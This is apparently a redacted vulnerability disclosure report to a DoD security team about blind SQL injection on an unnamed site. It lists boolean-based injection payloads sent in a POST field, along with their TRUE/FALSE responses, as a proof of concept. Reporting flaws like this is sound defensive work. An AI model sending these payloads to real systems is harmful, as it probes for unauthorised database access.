Blind SQL iNJECTION

How it was found

Hi DoD Secuirty team , i found Blind SQL Injection in this below domain https://███████ Proof of concept: Vuln URL:https://██████████/██████ Pooc:

URL encoded POST input ███ was set to -1' OR 321=6 AND 1=1 or '4mEwSPwJ'='

Tests performed: -1' OR 1=1 or '4mEwSPwJ'=' => TRUE -1' OR 2=4 or '4mEwSPwJ'=' => FALSE -1' OR 32<(1+2+4) or '4mEwSPwJ'=' => TRUE -1' OR 32>(1+2+4) or '4mEwSPwJ'=' => FALSE Poc video : ███

Impact

It gives the attacker access and control over the backend database server

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

..Vuln URL:https://██████/█████ Pooc:

URL encoded POST input ███ was set to -1' OR 321=6 AND 1=1 or '4mEwSPwJ'='

Tests performed: -1' OR 1=1 or '4mEwSPwJ'=' => TRUE -1' OR 2=4 or '4mEwSPwJ'=' => FALSE -1' OR 32<(1+2+4) or '4mEwSPwJ'=' => TRUE -1' OR 32>(1+2+4) or '4mEwSPwJ'=' => FALSE Poc video : █████

Suggested Mitigation/Remediation Actions